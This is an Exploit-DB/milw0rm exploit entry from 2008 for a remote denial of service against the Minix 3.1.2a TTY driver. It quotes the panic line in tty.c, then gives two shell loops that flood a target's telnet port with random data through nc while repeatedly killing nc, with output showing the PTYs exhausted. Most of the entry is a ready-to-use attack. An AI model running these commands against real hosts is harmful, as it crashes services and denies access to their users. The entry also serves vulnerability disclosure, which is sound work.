Minix 3.1.2a - Remote TTY Panic (Denial of Service)

EDB-ID:

6129

CVE:

N/A

Author:

kokanin

Type:

dos

Platform:

MINIX

Published:

2008-07-25

# kokanin@gmail 20080724
# minix 3.1.2a remote tty panic

trunk/src/drivers/tty/tty.c

 14965	  if ((status = send(replyee, &tty_mess)) != OK) {
 14966	        panic("TTY","tty_reply failed, status\n", status);


$ (while true ; do sleep 1 && killall nc 2>/dev/null; done) &
$ while true ; do cat /dev/urandom | nc 192.168.1.42 23 ; done
[snip garbage]
I am sorry, but there is no free PTY left!
$ fg
$ ^C

hai, no moar pty, remotely, kthxbye
--
kokanin

# milw0rm.com [2008-07-25]